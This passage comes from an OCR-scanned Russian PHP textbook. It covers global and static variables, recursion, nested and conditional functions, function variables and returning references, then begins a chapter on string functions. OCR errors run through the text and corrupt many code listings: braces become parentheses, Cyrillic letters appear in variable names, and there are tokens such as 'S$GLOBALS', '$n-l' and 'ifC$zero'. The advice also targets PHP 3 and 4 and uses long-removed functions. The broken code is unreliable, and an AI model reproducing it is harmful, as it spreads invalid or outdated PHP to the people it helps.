му эквиваленту (что может потребоваться во многих программах). Она имеет
единственный и понятный параметр: это номер месяца. Как бы мы это сде-
лали без глобальных переменных?

Массив SGLOBALS

В принципе, есть и второй способ добраться до глобальных переменных.
Это — использование встроенного в язык массива $GLOBALS. Последний
представляет собой хэш, ключи которого есть имена глобальных перемен-
ных, а значения — их величины .

Этот массив доступен из любого места в программе — в том числе и из тела
функции, и его не нужно никак дополнительно объявлять. Итак, приведен-
ный выше пример можно переписать более лаконично :

// Возвращает название месяца по его номеру . Нумерация начинается с 1 !
function GetMonthName ($n) { return $GLOBALS ["Monthes"] [$n] ; }

Кстати, тут мы опять сталкиваемся с тем, что не только переменные, но да-
же и массивы могут иметь совершенно любую структуру, какой бы сложной
она ни была. Например, предположим, что у нас в программе есть ассоциа-
тивный массив $А, элементы которого — двумерные массивы чисел. Тогда
доступ к какой-нибудь ячейке этого массива с использованием $GLOBALS мог
бы выглядеть так:

$GLOBALS [ "А" ] [First"] [10] [20] ;

То есть получился четырехмерный массив!

----------------------- Page 208-----------------------
Глава 11. Функции и области видимости 193

Насчет $GLOBALS следует добавить еще несколько полезных сведений. Во-
первых, как я уже говорил, этот массив изначально является глобальным
для любой функции, а также для самой программы. Так, вполне допустимо
его использовать не только в теле функции, но также и в любом другом мес-
те. Во-вторых, с этим массивом допустимы не все операции, разрешенные с
обычными массивами. А именно, мы не можем:

П присвоить этот массив какой-либо переменной целиком, используя опе-
ратор =;

П как следствие, передать его функции "по значению" -- можно передавать
только по ссылке.

Однако остальные операции допустимы. Мы можем при желании , напри-
мер, по одному перебрать у него все элементы и, скажем, вывести их значе-
ния на экран. И, наконец, третье: добавление нового элемента в $GLOBALS
равнозначно созданию новой глобальной переменной (конечно, предварен-
ной символом $ в начале имени, ведь в самом массиве ключи — это имена
переменных без символа доллара), а выполнение операции Onset о для него
равносильно уничтожению соответствующей переменной.

А теперь я скажу нечто весьма интересное все о том же массиве $GLOBALS .
Как вы думаете, какой элемент (то есть, глобальная переменная) всегда в
нем присутствует? Это — переменная GLOBALS, которая также является мас-
сивом, и в которой также есть элемент GLOBALS... Так что же было первей —
курица или яйцо (только не надо мне говорить, что первым был петух)?

А собственно, почему бы и нет? С чего это мы все привыкли, что в большом
содержится малое, а не, скажем, наоборот? Почему множество не может со-
держать себя же в качестве элемента? Очень даже может, и $ GLOBALS — тому
наглядный пример.

В РНР версии 3 такая ситуация была чистой воды шаманством. Однако с появ-
лением в четвертой версии РНР ссылок все вернулось на круги своя. На самом-
то деле элемент с ключом GLOBALS является не обычным массивом, а лишь
ссылкой на $GLOBALS. Вот поэтому все и работает так, как было описано.

Вооружившись механизмом создания ссылок, мы можем теперь наглядно
продемонстрировать, как работает инструкция global , а также заметить один
ее интересный нюанс. Как мы знаем, global $a говорит о том, что перемен-
ная $а является глобальной, т. е., является синонимом глобальной $а. Сино-
ним в терминах РНР — это ссылка. Выходит, что global создает ссылку? Да,
никак не иначе. А вот как это воспринимается транслятором:

function Test( )

{ global $a;

$а=10;

----------------------- Page 209-----------------------
194 Часть III. Основы языка PHP

Приведенное описание функции Test о полностью эквивалентно следую-
щему описанию :
function Test( )

{ $a=S$GLOBALS['a'] ;
$а=10;

}

Из второго фрагмента видно, что оператор unset ($а ) в теле функции не
уничтожит глобальную переменную $а , а лишь "отвяжет" от нее ссылку $а.
Точно то же самое происходит и в первом случае. Вот пример:

$а=100;
function Test( )

( global $a ;

Unset($a) ;

}
Test () ;

echo $a ; // выводит 100, т . е . настоящая $а не была удалена в TestO !

Внимание

Эта особенность инструкции global появилась только в РНР версии 4, т. е. когда
начали поддерживаться ссылки! Если вы запустите приведенный только что пример
на РНР версии 3, то при исполнении echo увидите предупреждение: $а не опреде-
лена. Помните это при переносе старых сценариев на новый РНР версии 4.

Как же нам удалить глобальную $а из функции? Существует только один
способ: использовать для этой цели $GLOBAL S [ 'а 1 ] • Вот как это делается:

function Test{ ) { unset($GLOBALS['a']) ; }

$a=100;

Test () ;
echo $a ; // Ошибка ! Переменная $а не определена !

Статические переменные

Видимо, чтобы не отставать от других языков, создатели РНР предусмотре-
ли еще один вид переменных , кроме локальных и глобальных, — статиче-
ские. Работают они точно так же, как и в Си. Рассмотрим следующий при-
мер (листинг 11.12) :

I Листинг 11.12. Статические переменные

function Silly( )

{ static $a=0;

----------------------- Page 210-----------------------
Глава 11. Функции и области видимости 195

echo $a;

$а++;

}

for($i=0; $i<10 ; Si++ ) Silly ();

После запуска будет выведена строка 0123456789 , как мы и хотели. Давайте
теперь уберем слово static . Мы увидим : о о о о о о о о о о . Это и понятно, ведь
переменная $а стала локальной, и ей при каждом вызове функции присваи-
вается одно и то же значение — 0.

Итак, конструкция static говорит компилятору о том, что уничтожать ука-
занную переменную для нашей функции между вызовами не надо. В то же
время присваивание $а=о сработает только один раз, а именно — при самом
первом обращении к функции (так уж устроен static) .

Рекурсия

Конечно, в РНР поддерживаются рекурсивные вызовы функций, т. е. вызо-
вы функцией самой себя (разумеется, не до бесконечности, а в соответствии
с определенным условием). Это бывает чрезвычайно удобно для таких задач,
как, например , обход всего дерева каталогов вашего сервера (с целью под-
считать суммарный объем, который занимают все файлы), или для других
задач. Рассмотрим для примера функцию, которая рекурсивно вычисляет
факториал из некоторого числа п (обозначается n i ) . Алгоритм стандартный:
если п=о , то п ! =1, а иначе п ! =п* ( (п-1) !) .

function Factor($n )

( if($n<=0 ) return 1 ;

else return $n*Factor($n-l ) ;

}
echo Factor(20) ;

Должен только предупредить вас не применять эту функцию факториала в
реальной жизни — она приведена здесь исключительно для примера. Лучше
воспользоваться следующей функцией — она работает гораздо быстрее:

function Factor($n )

{ for($f=l ; $n>l ; $n— ) $f*=$n;

return $f;

Вложенные функции

Стандарт РНР не поддерживает вложенные функции. Однако он поддержи-
вает нечто, немного похожее на них. Вместо того чтобы, как и у перемен-

----------------------- Page 211-----------------------
196 Часть III. Основы языка PHP

ных, ограничить область видимости для вложенных функций своими
"родителями", РНР делает их доступными для всей остальной части про-
граммы, но только с того момента, когда "функция-родитель" была из нее
вызвана. Позднее, в части V книги, мы увидим, что этот (казалось бы) не-
дочет оказывается довольно удобным способом для написания библиотек
функций на РНР.

Итак, "вложенные" функции выглядят следующим образом (листинг 11.13):

I Листинг 11.13. Вложенные функции
; .1

function Parent($a)

{ echo $а;

function Child($b)

{ echo $b+l;

return $b*$b;

}

return $a*$a*Child($a); // фактически возвращает $a*$a*($a+l)*($a+l)

}

// Вызываем функции

Parent(10);

Child(30);

// Попробуйте теперь ВМЕСТО этих двух вызовов поставить такие

// же , но только в обратном порядке . Что , выдает ошибку?

// Почему , спрашиваете? Читайте дальше !

Мы видим, что нет никаких ограничений на место описания функции -
будь то глобальная область видимости программы, либо же тело какой-то
другой функции. В то же время, напоминаю, что понятия "локальная функ-
ция" как такового в РНР все же (пока?) не существует.

Каждая функция добавляется во внутреннюю таблицу функций РНР тогда,
когда управление доходит до участка программы, содержащего определение
этой функции. При этом, конечно, само тело функции пропускается, однако
ее имя фиксируется и может далее быть использовано в сценарии для вызова.
Егли же в процессе выполнения программы РНР никогда не доходит до опре-
деления некоторой функции, она не будет "видна", как будто ее и не сущест-
вует — это ответ на вопросы, заданные внутри комментариев примера.

Давайте теперь попробуем запустить другой пример. Вызовем Parent ( ) два
раза подряд:

Parent(10);

Parent(20);

----------------------- Page 212-----------------------
Глава 11. Функции и области видимости 197

Последний вызов породит ошибку: функция child о уже определена. Это
произошло потому, что child о определяется внутри Parent о, и до ее оп-
ределения управление программы фактически доходит дважды (при первом
и втором вызовах Parent о). Поэтому-то интерпретатор и "протестует": он
не может второй раз добавить child ( ) в таблицу функций.

( Замечание ^)

Для тех, кто раньше программировал на Perl, этот факт может показаться ужа-
сающим. Что ж, действительно, мы не должны использовать вложенные функ-
ции РНР также , как делали это в Perl.

Условно определяемые функции

Предположим, у нас в программе где-то устанавливается переменная
$OS_TYPE в значение win , если сценарий запущен под Windows 9x, и в unix ,
если под Unix. Как известно, в отличие от Unix, в Windows нет такого поня-
тия, как владелец файла, а значит, стандартная функция chowno (которая
как раз и назначает владельца для указанного файла) там просто не имеет
смысла. В некоторых версиях РНР для Windows ее может в этой связи во-
обще не быть. Однако, чтобы улучшить переносимость сценариев с одной
платформы на другую (без изменения их кода!) можно написать следующую
простую "обертку" для функции chown ( ) (листинг 11.14):

1 Листинг 11.14. Условно определяемые функции

if ($OS_TYPE=="win")
{ // Функция-заглушка
function MyChOwn($fname,$attr)
( // ничего не делает
return 1 ;

else
{ / / Передаем вызов настоящей chown ( )
function MyChOwn($fname , $attr)
( return chown ($fname, $attr) ;

Это — один из примеров условно определяемых функций. Если мы работа-
ем под Windows, функция MyChOwn O ничего не делает и возвращает 1 как

----------------------- Page 213-----------------------
/gg Часть III. Основы языка PHP

индикатор успеха , в то время как для Unix она просто вызывает оригиналь-
ную chown ( ) . Важно то, что проверка, какую функцию использовать, произ-
водится только один раз (в момент прохождения точки определения функ-
ции), т. е. здесь нет ни малейшей потери производительности. Теперь в
сценарии мы должны всюду отказаться от chown ( ) и использовать
MyChOwn ( ) (можно даже провести поиск/замену этого имени в редакторе) -
это обеспечит переносимость.

Если вам совсем не нравится идея поиска/замены (а мне она не нравится
категорически), то существует гораздо более элегантный способ, но только в
том случае , если chown о еще не была нигде определена — в том числе и
среди стандартных функций:

if ( ! function_exists ( "chown " ) )
{ function chown ($f name , $mode)

{ //н е делаем ничего

return 1 ;

Этот способ работает независимо от того, появится ли вдруг в будущих вер-
сиях РНР для Windows "заглушка" для функции c h o w n o , или же нет.
(Нужно сказать для справедливости, что в РНР версии 4 такая заглушка
уже существует.)

Знатоки Си могут заметить в приеме условно определяемых функций рази-
тельное сходство с директивами условной компиляции этого языка:
ttifndef, telse и #endif . Действительно, аналогия почти полная, за исклю-
чением того факта, что в Си эти директивы обрабатываются во время ком-
пиляции, а в РНР — во время выполнения . Что ж, на то он и интерпрета-
тор, чтобы позволять себе интерпретацию .

Примечание

То, что возможно создавать условно определяемые функции, сильно подрыва-
ет веру в РНР как в истинный транслятор. Как вообще можно устроить трансля-
тор так, чтобы он правильно обрабатывал подобные вещи? Я не знаю. Наде-
юсь, что разработчики РНР нашли-таки способ, и условно определяемые
функции транслируются вместе со всей программой, а не на этапе исполнения,
как это было в РНР версии 3. Однако полной уверенности в этом нет, а доку-
ментация по этому поводу молчит (пока).

Передача функций "по ссылке"

Я отнюдь не случайно заключил последние два слова названия этого раздела
в кавычки — дело в том, что как таковая, передача функции по ссылке в

----------------------- Page 214-----------------------
Глава 11. Функции и области видимости 199

РНР не поддерживается. Однако, т. к. это слишком часто может быть по-
лезным , в РНР есть понятие "функциональной переменной". Легче всего его
можно рассмотреть на примерах:

function A($i ) { echo "a $i\n"; }

function B($i ) { echo "b $i\n"; } •

function C($i) { echo "c $i\n"; }

$F="A"; // или $F="B" или $F="C"

$F(10); // вызов функции , имя которой хранится в $F

Второй пример носит довольно прикладной характер. В РНР есть такая
стандартная функция — uasort ( } , которая сортирует ассоциативный мас-
сив, заданный ее первым параметром, причем критерием сравнения для
элементов этого массива служит функция, имя которой передано вторым
параметром. Мы будем рассматривать эту функцию в главе 13, а сейчас я
приведу простой пример:

// Сравнение без учета регистра символов строк

function FCmp($a,$b )

( return strcmp(tolower($a),tolower($b) )

}

$a=array("b"=>"bbb", "a"=>"Aaa", "d"=>"ddd);

uasort($a,"FCmp"); // Сортировка без учета регистра символов

Здесь функция, имя которой получено со вторым параметром uasort о,
должна иметь два аргумента, которые являются сравниваемыми значениями
в массиве.

В общем случае, функциональная переменная — это всего лишь перемен-
ная-строка, содержащая имя функции, и ничего больше. Поскольку в РНР
нет такого понятия, как области видимости для функций (есть только об-
ласти видимости для локальных переменных), то конфликтов это не порож-
дает — одному имени может соответствовать не более одной функции. Та-
кой подход, на мой взгляд, не очень хорош, но он действительно работает, и
это главное.

Возврат функцией ссылки

До сих пор я рассматривал лишь функции, которые возвращают определен-
ные значения — а именно, копии величин, использованных в инструкции
return . Заметьте, это были именно копии, а не сами объекты. Например:

$а=100;

function R( )

{ global $a; // объявляет $а глобальной

----------------------- Page 215-----------------------
200 Часть III. Основы языка PHP

return $a; // возвращает значение, а не ссылку!

}
$b=R();

$b=0; // присваивает $Ь , а не $а !

echo $a; // выводит 100

В то же время мы бы хотели, чтобы функция R ( ) возвращала не величину, а
ссылку на переменную $а, чтобы в дальнейшем с этой ссылкой можно было
работать точно так же, как и с $а. Например, это может очень пригодиться в
объектно-ориентированном программировании на РНР (основы которого
мы рассмотрим в пятой части книги), когда функция должна возвращать
именно объект, а не его копию.
Как же нам добиться нужного результата? Использование оператора
$ ь = & к ( ) , к сожалению, не подходит, т. к. при этом мы получим в $ь ссылку
не на $а, а на ее копию. Если задействовать return &$a , то появится сооб-
щение о синтаксической ошибке (РНР воспринимает & только в правой час-
ти оператора присваивания сразу после знака =). Но выход есть. Воспользу-
емся специальным синтаксисом описания функции, возвращающей ссылку
(листинг 11.15):

! Листинг 11.15. Возвращение ссылки

$а=100;

function &R( ) // & — возвращает ссылку
{ global $a; // объявляет $а глобальной
return $a ; // возвращает , ссылку , а не значение !

}

$b=&R(); // не забудьте & !! !
$Ь=0; // присваивает переменной $а !

echo $а; // выводит 0 . Это значит , что теперь $Ь - синоним $а

Как видим, нужно поставить & в двух местах: перед определением имени
функции, а также в правой части оператора присваивания при вызове
функции. Использовать амперсанд в инструкции return не нужно.

Внимание

Лично я не нахожу такой синтаксис удобным. Достаточно no-ошибке всего один
раз пропустить & при вызове функции, как переменной $Ь будет присвоена не
ссылка на $а , а только ее копия со всеми вытекающими из этого последствия-
ми. При использовании объектно-ориентированного программирования это мо-
жет породить логические ошибки, выглядящие крайне странно. Поэтому я ре-
комендую применять возврат ссылки как можно реже, и только в тех случаях,
когда это действительно необходимо.

----------------------- Page 216-----------------------
Глава 1 1. Функции и области видимости _ 20 1

Пример функции: DumpO

В отладочных целях часто бывает нужно посмотреть, что содержит та или
иная переменная. Однако, если эта переменная — массив, да еще многомер-
ный, с выводом ее содержимого на экран могут возникнуть проблемы. Решить
их призвана следующая функция, которую я назвал Dump ( ) . Пользу от этой
функции можно реально почувствовать, лишь поработав с ней некоторое вре-
мя. Уверяю, потом вы не сможете понять, как раньше без нее обходились

Функция выводит содержимое любой, сколь угодно сложной, переменной,
будь то массив, объект или простая переменная. Как уже говорилось, приве-
денная функция исключительно полезна при отладке сценариев (которая в
РНР пока еще не особенно развита).

( _ Замечание ^
v

В РНР версии 4 для аналогичных целей существуют две стандартных функ-
ции — print_r ( ) и var_dump ( ) , но листинг, который они выводят, довольно
неудобен для восприятия человеком.
\

I Листинг 11.16. Функция Dump ()

// Вспомогательная функция, делающая всю "грязную" работу
function TextDump (&$Var , $Level=0)
{ if (is__array($Var ) } $Type="Array[" . count ($Var) ."]" ;
else if (is_object(SVar) ) $Type="Object";
else $Type="";
if($Type) {
echo "$Type\n" ;
for (Reset ($Var) ,$Level++; list ($k, $v) =each ($Var) ; ) {
if (is_array ($v) && $k==="GLOBALS") continue ;
for($i=0; $i<$Level*3 ; $i++) echo " ";
echo "<b>".HtmlSpecialChars ($k) . "</b> => ", TextDump ($v, $Level) ;

else echo "" ,HtmlSpecialChars ($Var ) , "" . "\n";

// Основная функция
function Dump(&$Var )
if ( (is_array($Var ) | |is_object ($Var) ) && count($Var) )
echo "<pre>\n" , TextDump ($Var) , "</pre>\n";
else

----------------------- Page 217-----------------------
202 Часть III. Основы языка PHP

echo "<tt>",TextDump($Var),"</tt>\n" ;

В реальной жизни следует использовать функцию Dump ( ) . Функция
TextDump O (которая, по правде говоря, и делает всю работу) использует
только одну неизвестную нам еще функцию — Htmispeciaichars о, заме-
няющую в строке символы типа <, > или " на их HTML-эквиваленты

(соответственно, Sit; , &gt ; И Squot;) . Мы ПрИМСНИЛИ ДОПОЛНИТбЛЬНуЮ

функцию для того, чтобы вывести сам результат, а главная функция занима-
ется только форматированием этого результата (вставка его в тэги <рге > или
<tt> в зависимости от размера вывода).

Несколько советов
по использованию функций

Хочется напоследок сказать еще несколько слов о функциях .
Первое — не допускайте, чтобы ваши функции разрастались до гигантских
размеров. Дробите их на маленькие, по возможности независимые, части, же-
лательно полезные и сами по себе. Это повысит "читабельность", устойчи-
вость и переносимость ваших программ. В идеале каждая функция не должна
занимать больше 20—30 строк, возможно, за редким исключением. Этот совет
применим вообще ко всем языкам программирования, а не только к РНР.

Второе: как известно, вызов функции тоже отнимает какое-то время, поэто-
му распространено мнение , что чем меньше функций, тем быстрее работает
программа. Оно в корне неверно: не стоит обращать внимания на цену вы-
зова функции, пока она сама об этом не заявит. В конце концов, объеди-
нить несколько функций в одну всегда на порядок проще, чем разбить одну
функцию на несколько. Помните об этом.
Наконец, последнее: больше используйте встроенные, стандартные функции .
Прежде чем писать какую-то процедуру, сверьтесь с документацией — воз-
можно, она уже реализована в ядре РНР. Если это так, то не думайте, что
сможете написать ее эффективнее на РНР — ведь часто самый неэффектив-
ный Си-код работает быстрее, чем самый изящный на РНР. Возможно, лучше
пожертвовать объемом за счет быстродействия — например, при работе с ба-
зами данных и сложными файлами лучше применять стандартные функции
сериализации, чем писать более эффективно упаковывающие, но свои, пото-
му что стандартные работают очень быстро. Правда, из этого правила сущест-
вуют и исключения : например , я бы не советовал вам использовать
serialize () для формирования строки, сохраняющейся в Cookies браузера —
здесь лучше написать свои функции. Опять же, туг действует принцип : чем
меньше в профамме собственноручно реализованных функций, тем надежнее
она будет работать и тем меньше ее придется тестировать.

----------------------- Page 218-----------------------
Y '
-чЛ-Л-О \

V

ЧАСТЬ IV.

СТАНДАРТНЫЕ
ФУНКЦИИ PHP

----------------------- Page 219-----------------------

----------------------- Page 220-----------------------
Не будет преувеличением сказать, что самой привлекательной чертой языка
РНР является набор его стандартных, или встроенных, функций . Пожалуй,
без них язык вообще представлял бы очень малую ценность. Главное, что
этот набор постоянно пополняется с выходом новых версий языка : напри-
мер, еще совсем недавно в РНР не было функций, поддерживающих кон-
цепцию сессии (то есть, устойчивого между запусками сценария окружения
переменных, связанных по отдельности с каждым пользователем програм-
мы), функций для работы с изображениями и регулярными выражениями в
формате PCRE (Perl-compatible regular expression — регулярные выражения
языка Perl). Сейчас все это (и многое другое!) уже есть, и, конечно, грех не
воспользоваться такими возможностями...

Мы уже ознакомились с некоторыми базовыми функциями , которые в силу
их специализации можно было бы даже назвать операторами. Среди них -
функция вывода echo , функции для работы с массивами и переменными
и т. д. В этой части книги мы займемся остальными встроенными в РНР
процедурами, которые чаще всего требуются в Web-программировании . Ко-
нечно, объем книги не позволяет описать абсолютно все функции, да это и
невозможно, потому что такое описание тут же устареет с выходом новой
версии языка. Так что, как всегда, лучшим другом программиста (может
быть, правильнее сказать подругой?) обязательно должна стать документа-
ция, поставляемая вместе с дистрибутивами РНР, или ее oruine-версия, рас-
положенная по адресу http://www.php.net или http://ru.php.net. Использова-
ние документации из Интернета привлекательно еще и потому, что она
фактически представляет собой один большой форум, в котором приведены
различные комментарии, оставленные энтузиастами. Вы тоже можете внести
свою лепту в это общее дело.

Что же, разработчики РНР не боги, и иногда даже во встроенных функциях
встречаются ошибки. Если вы наткнулись на одну из таких ошибок, радуй-
тесь: у вас есть возможность внести вклад в общемировое дело Web-
программирования! Вначале постарайтесь локализовать ошибку — напишите
небольшой (как можно меньше!) сценарий, который будет работать непра-
вильно. Далее, если у вас есть исходные тексты РНР и вы в состоянии в них
разобраться (а это несколько проще, чем кажется на первый взгляд), попы-
тайтесь найти в них то место, где происходит недоразумение. Наконец, от-
правьте накопленный материал по электронной почте разработчикам РНР
(адрес можно узнать на сайте http://www.php.net) и, скорее всего, в будущих
версиях языка ошибки уже не будет. Однажды со мной случился такой слу-
чай, и я был приятно удивлен той скоростью, с которой мне пришел ответ
от разработчиков (в течение одного дня). Причем ответ развернутый, а не
простая отписка и, главное, в следующей версии РНР, действительно, най-
денной ошибки уже не оказалось.

----------------------- Page 221-----------------------
Глава 12

Строковые функции
•

Строки в РНР — одни из самых универсальных объектов. Как мы уже виде-
ли , любой , сколь угодно сложный объект можно упаковать в строку при по-
мощи функции s e r i a l i z e ; ) (и обратно через unseriaiiz e о ). Строка может
содержать абсолютно любые символы с кодами от 0 до 255 включительно .
Нет никакого специального маркера "конца строки", как это сделано в Си
(там конец строки помечается символом с нулевым кодом). А значит , длина
строки во внутреннем представлении РНР хранится где-то отдельно. Для
формирования и вставки непечатаемого символа в строку (например, с ко-
дом 1 или 15) используется функция chr о , которую мы рассмотрим ниже.

Наконец, из-за слабого контроля типов в РНР строка может содержать
(и часто содержит) число , причем с 'ней можно работать, как с числом : при-
бавлять другие числа, умножать и т. д. При этом все преобразования (в де-
сятичной системе) производятся автоматически. Существуют также функ-
ции, преобразующие число, записанное в различных системах счисления
(например, в восьмеричной), в обычное представление, и наоборот. Их мы
обсудим позже, в следующей главе.

Замечание

В этой главе я описываю только самые употребительные и удобные функции
(около 80%), пропуская все остальные. Какие-то из не вошедших в данную гла-
ву функций (например, quotemeta ( ) ) мы будем рассматривать в других гла-
вах — там, где это показалось мне наиболее логичным. Так что, не найдя опи-
сание интересующей вас функции здесь, подумайте: возможно, оно лучше
подходит для другой темы и его лучше поискать там? И, наконец, последней
инстанцией для вас, конечно же, должна являться документация РНР.

Конкатенация строк

Самая, пожалуй, распространенная операция со строками — это их конка-
тенация, или присоединение к одной строке другой. В ранних версиях РНР
для этого, как и для сложения чисел , использовался оператор +, что посто-
янно приводило к путанице: если к числу прибавляется строка, что должно
получиться — число или строка? Если число, то вдруг наша строка содержа-
ла на самом деле не число, а какой-то текст? В новой — третьей — версии

----------------------- Page 222-----------------------
Глава 12. Строковые функции 207

интерпретатора разработчики отказались от этого механизма и объявили,
что + следует применять только для сложения чисел, и никак иначе. Что же
касается конкатенации строк, то для нее ввели специальный оператор "."
(точка).

Оператор "." всегда воспринимает свои операнды как строки и возвращает
строку. В случае, если один из операндов не может быть переведен в стро-
ковое представление, т. е. если это массив или объект, то он воспринимает-
ся как строки array и object соответственно. Вообще говоря, это правило
применимо и не только при сцеплении строк, но и при передаче такого
операнда в какую-нибудь стандартную функцию, которой требуется строка.
Например, следующие команды выведут слово Array :

$a=array(10,20,30);

echo $a // Внимание ! Неожиданный результат !

Есть и другой, более специализированный, способ конкатенации строк. Он
обычно используется, когда значения строковых или числовых переменных
перемежаются с обычными словами. Если, к примеру, у нас в $day хранится
текущее число, в $month — название месяца и в $уеаг — год, то вывести
строку вида "Сегодня 8 мая 2000 года" можно так:

echo "Сегодня $day $month $year года";

При этом в строку, вырабатываемую инструкцией echo , автоматически в
нужных местах вставятся значения наших переменных. Это позволяет кон-
статировать тот факт, что в РНР все переменные начинаются с $.

О сравнении строк
и инструкции if-else

Теперь я хотел бы рассмотреть одно тонкое место в интерпретаторе РНР,
касающееся немного неправильной работы со строками. Заключается оно
вот в чем. Если мы используем операторы сравнения == и != (или любые
другие, которые могут потребовать перевода строки в число) с операнда-
ми-строками, то результат, вопреки ожиданиям , не всегда оказывается
верным. Чаще всего это проявляется как раз в инструкции if . Вот приме-
ры (листинг 12.1):

\ Листинг 12.1. Внимание! Опасное место!

$опе=1; // число один

$zero=0; // присваиваем число нуль

if($one=="") echo 1 ; // очевидно , не равно — не выводит 1

if($zero=="") echo 3 ; // Внимание ! Вопреки ожиданиям печатает 3 !

----------------------- Page 223-----------------------
208 Часть IV. Стандартные функции РНР

if(""==$zero) echo 4 ; // И это тоже не поможет!. .

if("$zero"=="") echo 5; // Не работает в некоторых версиях РНР 3

if(strval($zero)==""} echo 6 ; // Вот теперь правильно — не выводит 6

ifC$zero===""} echo 7 ; // Самый лучший способ , но не действует в РНР 3

Получается, что в операциях сравнения пустая строка "" прежде всего трак-
туется как 0 (ноль) и уж затем — как "пусто"? Это звучит довольно парадок-
сально, но это действительно так. Операнды сравниваются как строки толь-
ко в том случае, если они оба — строки, в противном случае идет числовое
сравнение. При этом пустая строка воспринимается как 0, впрочем, как и
любая другая; которую интерпретатору не удалось перевести в число.

Замечание

В первых версиях РНР 3 при присоединении к числовому нулю пустой строки
этот ноль не менял типа, не становился строкой "О" . Видимо, срабатывала ка-
кая-то оптимизация, и РНР просто пропускал этот бессмысленный, на его
взгляд, шаг. Проведенные мной тесты показывают, что в РНР версии 3.0.12 и
старше эта ошибка исправлена, но все же иногда нужно иметь ее в виду, осо-
бенно, если сценарии должны быть хорошо переносимыми.

Итак, если вы хотите сравнить две переменные-строки, нужно быть абсо-
лютно уверенными, что их типы именно строковые, а не числовые.
Впрочем, это не распространяется на новый оператор РНР версии 4 ===
(тройное равенство, или оператор эквивалентности). Его использование за-
ставляет интерпретатор всегда сравнивать величины и по значению, и по их
типу. Итак, с точки зрения РНР 0=="" , но 0!=="" . Если вы не собираетесь
программировать на РНР версии, не ниже третьей, рекомендую всегда ис-
пользовать === вместо strval ( ) , как это было сделано в листинге 12.1.

Существует одна стандартная ошибка, которую делают многие. Вот в чем
она состоит. Есть такая функция — strpos ($str,$what ) , которая возвраща-
ет позицию подстроки $what в строке $str или false , если подстрока не
найдена. Пусть нам нужно проверить, встречается ли в некоторой строке
$str подстрока <? (и напечатать "это PHP-программа", если встречается).
Как мы знаем, вариант

if (strpos ($str , "<?") !=false)

echo "это PHP-программа" ;

не годится, если <? находится в самом начале строки (в этом случае не будет
выдано наше сообщение, хотя подстрока в действительности найдена, и
функция возвратила 0, а не false) .

Если вы еще собираетесь работать с РНР версии 3, указанную проблему
можно решить так:

if (strval (strpos ($str , "<?") } !="")

echo "это PHP-программа" ;

----------------------- Page 224-----------------------
Глава 12. Строковые функции 209

Конечно, выглядит это немного "накручено", зато действительно работает.
Приятно отметить, что в РНР версии 4 проблема решается гораздо более
изящным образом:

if(strpos($str,"<?")!==false)

echo "это PHP-программа" ;

Рекомендую всегда применять последний способ.

Замечание

Обратите внимание, что мы используем оператор ! == именно с константой
false, а не с пустой строкой "" . Дело в том, что для этого оператора
false ! =="" , в то время как, разумеется, false=="" .

Функции для работы
с одиночными символами

string chr(int $code)

Возвращает строку из одного символа с кодом $code. Эта функция полезна
для вставки каких-либо непечатаемых символов в строку — например, нуле-
вого кода или символа прогона страницы, а также при работе с бинарными
файлами. Пример из листинга 12.2 позволяет вам просмотреть, какие коды
соответствуют всем символам, которые можно отобразить в браузере. Ино-
гда эта программа оказывается очень полезной.

| Листинг 12.2. Программа: печать всей таблицы символов

// Сначала создаем массив того , что мы собираемся выводить ,

//не заботясь о форматировании (дизайне) информации

for(.$i=0,$x=0; $x<16 ; $х++) {

for($y=0; $y<16; $у++) {

$Chars[$x][$y]=array($i,chr($i));

// Теперь выводим накопленную информацию , используя идеологию

// вставки участков кода в HTML-документ

<table border=l cellpadding=l cellspacing=0>

----------------------- Page 225-----------------------
210 Часть IV. Стандартные функции РНР

<?for($y=0; $y<16; $у++) {?>

<tr>

<?for($x=0; $х<16; $х++) { ?>

<td>

<?=$Chars[$x] [$у] [0]?> :

<bxttx?=$Chars[$x] [$y] [l]?x/ttx/b >

</td>

<?}?>

</tr>

<?} ?>

</table>

int ordfchar $ch)

Эта функция , наоборот, возвращает код символа в $ch . Например,
o r d ( c h r ( $ n ) ) всегда равно $п — конечно, если $п заключено между нулем и
числом 255.

int strrpos (string $where , char $what )

Данная функция, хотя и похожа внешне на strposo (см. ниже), несет не-
сколько иную нагрузку. Она ищет в строке $where последнюю позицию , в
которой встречается символ $what (если $what — строка из нескольких сим-
волов, то выявляется только первый из них , остальные не играют никакой
роли — обратите на это особое внимание!). В случае, если искомый символ
не найден, возвращается false (см. замечание по этому поводу для strpos ( ) ).
Вообще, могу сказать, что функция strrpos () применяется очень редко.
Слишком уж она не универсальна.

Функции отрезания пробелов

По поводу философии написания программ, которые интенсивно обрабаты-
вают данные , вводимые пользователем (а именно такими программами яв-
ляется большинство сценариев) есть очень правильное изречение : ваша
программа должна быть максимально строга к формату выходных данных и
максимально лояльна по отношению ко входным данным . Это означает,
что, прежде чем передавать полученные от пользователя строки куда-то
дальше, — например, другим функциям , — нужно над ними немного пора-
ботать. Самое простое, что можно сделать — это отрезать начальные и кон-
цевые пробелы.

----------------------- Page 226-----------------------
Глава 12. Строковые функции 211

Иногда трудно даже представить, какими могут быть странными пользова-
тели, если дать им в руки клавиатуру и попросить напечатать на ней какое-
нибудь слово. Так как клавиша пробела — самая большая, то пользователи
имеют обыкновение нажимать ее в самые невероятные моменты. Этому
способствует также и тот факт, что символ с кодом 32, обозначающий про-
бел, как вы знаете, на экране не виден. Если программа не способна обра-
ботать описанную ситуацию, то она, в лучшем случае после тягостного мол-
чания отобразит в браузере что-нибудь типа "неверные входные данные", а в
худшем — сделает при этом что-нибудь необратимое.

Между тем, обезопасить себя от паразитных пробелов чрезвычайно просто,
и разработчики РНР предоставляют нам для этого ряд специализированных
функций. Не волнуйтесь о том, что их применение замедляет программу.
Эти функции работают с молниеносной скоростью, а главное, одинаково
быстро, независимо от объема переданных им строк. Конечно, я не призы-
ваю к пароноидальному применению функций "отрезания" на каждой
строчке программы, но в то же время, если есть хоть 1%-ная возможность
того, что строка может содержать лишние пробелы, следует без колебаний
от них избавляться. В конце концов, отсекать пробелы один раз или тыся-
чу — все равно, а вот не отрезать совсем и отрезать однажды — большая
разница. Кстати, если отделять нечего, описанные ниже функции мгновен-
но заканчивают свою работу, так что их вызов обходится совсем дешево.

string trira(string $st)

Возвращает копию $st , только с удаленными ведущими и концевыми про-
бельными символами. Под пробельными символами я здесь и далее подра-
зумеваю: пробел " ", символ перевода строки \п , символ возврата каретки
\г и символ табуляции \t . Например, вызов trim( " test\n ") вернет
строку "test" .

Эта функция используется очень широко. Старайтесь применять ее везде,
где есть хоть малейшее подозрение на наличие ошибочных пробелов. По-
скольку работает она очень быстро.

